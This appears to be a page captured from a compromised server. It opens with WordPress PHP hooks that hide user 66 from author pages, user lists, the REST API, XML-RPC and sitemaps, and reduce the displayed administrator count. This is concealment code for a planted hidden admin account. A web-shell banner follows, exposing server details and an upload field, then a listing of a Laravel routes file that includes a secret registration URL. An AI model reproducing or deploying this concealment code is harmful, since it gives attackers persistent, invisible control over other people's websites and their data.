add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/glossar/routes/ |
Upload File : |
<?php
use Illuminate\Support\Facades\Route;
use App\Http\Controllers\GlossaryController;
use App\Http\Controllers\AboutController;
use App\Http\Controllers\LanguageController;
use App\Http\Controllers\Admin\UserController;
use App\Http\Controllers\Admin\LanguageController as AdminLanguageController;
use App\Http\Controllers\Admin\TermController as AdminTermController;
Route::get('/', [GlossaryController::class, 'index'])->name('glossary.index');
Route::get('/home', fn() => redirect('/'));
Route::get('/glossary/{any}', fn($any) => redirect("/term/$any", 301))->where('any', '.*');
Route::get('/impressum', fn() => view('imprint'))->name('imprint');
Route::get('/datenschutz', fn() => view('datenschutz'))->name('datenschutz');
// Disable default registration route, use custom ones
Auth::routes(['verify' => true, 'register' => false]);
// Standard /register returns 404
Route::get('/register', fn() => abort(404));
// Secret registration route
Route::get('/register/futures_are_waiting2026', [\App\Http\Controllers\Auth\RegisterController::class, 'showRegistrationForm'])->name('register');
Route::post('/register/futures_are_waiting2026', [\App\Http\Controllers\Auth\RegisterController::class, 'register']);
// About pages
Route::get('/about/{lang}', [AboutController::class, 'show'])->name('about.show');
Route::middleware(['auth', 'verified'])->group(function () {
Route::get('/about/{lang}/edit', [AboutController::class, 'edit'])->name('about.edit');
Route::post('/about/{lang}', [AboutController::class, 'update'])->name('about.update');
Route::patch('/about/{lang}/toggle-status', [AboutController::class, 'toggleStatus'])->name('about.toggleStatus');
});
// Öffentliche Routen
Route::get('/term/{term}/{lang}', [GlossaryController::class, 'show'])->name('glossary.show');
Route::get('/term/{term}/{lang}/pdf', [GlossaryController::class, 'downloadPdf'])->name('glossary.pdf');
// Geschützte Routen (auth + verified)
Route::middleware(['auth', 'verified'])->group(function () {
Route::get('/term/new', [GlossaryController::class, 'createTerm'])->name('glossary.create');
Route::post('/glossary', [GlossaryController::class, 'storeTerm'])->name('glossary.store');
Route::get('/term/{term}/translate/{lang}', [GlossaryController::class, 'editTranslation'])
->name('glossary.translate')
->where('term', '^[a-z0-9\-]+$'); // Slug-Format erzwingen
Route::post('/term/{term}/translate/{lang}', [GlossaryController::class, 'storeTranslation']);
Route::get('/term/{term}/translate/new', function(GlossaryTerm $term) {
return redirect()->route('glossary.translate', [$term->slug, request('lang')]);
})->name('glossary.translate.new');
Route::get('/term/{term}/{lang}/history', [GlossaryController::class, 'showHistory'])
->name('glossary.history')
->middleware(['auth', 'verified']);
Route::put('/term/{term}/{lang}/restore/{translation}', [GlossaryController::class, 'restore'])
->name('glossary.restore')
->middleware(['auth', 'verified']);
Route::delete('/term/{term}/{lang}', [GlossaryController::class, 'destroyTranslation'])
->name('glossary.destroyTranslation');
Route::patch('/term/{term}/toggle-status', [GlossaryController::class, 'toggleTermStatus'])
->name('glossary.toggleTermStatus');
Route::patch('/term/{term}/{lang}/toggle-status', [GlossaryController::class, 'toggleTranslationStatus'])
->name('glossary.toggleTranslationStatus');
Route::patch('/term/{term}/{lang}/authors', [GlossaryController::class, 'updateAuthors'])
->name('glossary.updateAuthors');
// Language settings
Route::get('/language/{code}/edit', [LanguageController::class, 'edit'])->name('language.edit');
Route::patch('/language/{code}', [LanguageController::class, 'update'])->name('language.update');
});
Route::post('/upload-image', [GlossaryController::class, 'uploadImage'])->middleware('auth');
Route::prefix('admin')->middleware(['auth', 'verified', 'admin'])->group(function () {
Route::get('/users', [UserController::class, 'index'])->name('admin.users.index');
Route::post('/users', [UserController::class, 'store'])->name('admin.users.store');
Route::patch('/users/{user}', [UserController::class, 'update'])->name('admin.users.update');
Route::delete('/users/{user}', [UserController::class, 'destroy'])->name('admin.users.destroy');
Route::get('/languages', [AdminLanguageController::class, 'index'])->name('admin.languages.index');
Route::get('/languages/create', [AdminLanguageController::class, 'create'])->name('admin.languages.create');
Route::post('/languages', [AdminLanguageController::class, 'store'])->name('admin.languages.store');
Route::get('/languages/{language}/edit', [AdminLanguageController::class, 'edit'])->name('admin.languages.edit');
Route::patch('/languages/{language}', [AdminLanguageController::class, 'update'])->name('admin.languages.update');
Route::patch('/languages/{language}/toggle', [AdminLanguageController::class, 'toggle'])->name('admin.languages.toggle');
Route::get('/terms', [AdminTermController::class, 'index'])->name('admin.terms.index');
Route::patch('/terms/{term}/toggle', [AdminTermController::class, 'toggleStatus'])->name('admin.terms.toggle');
});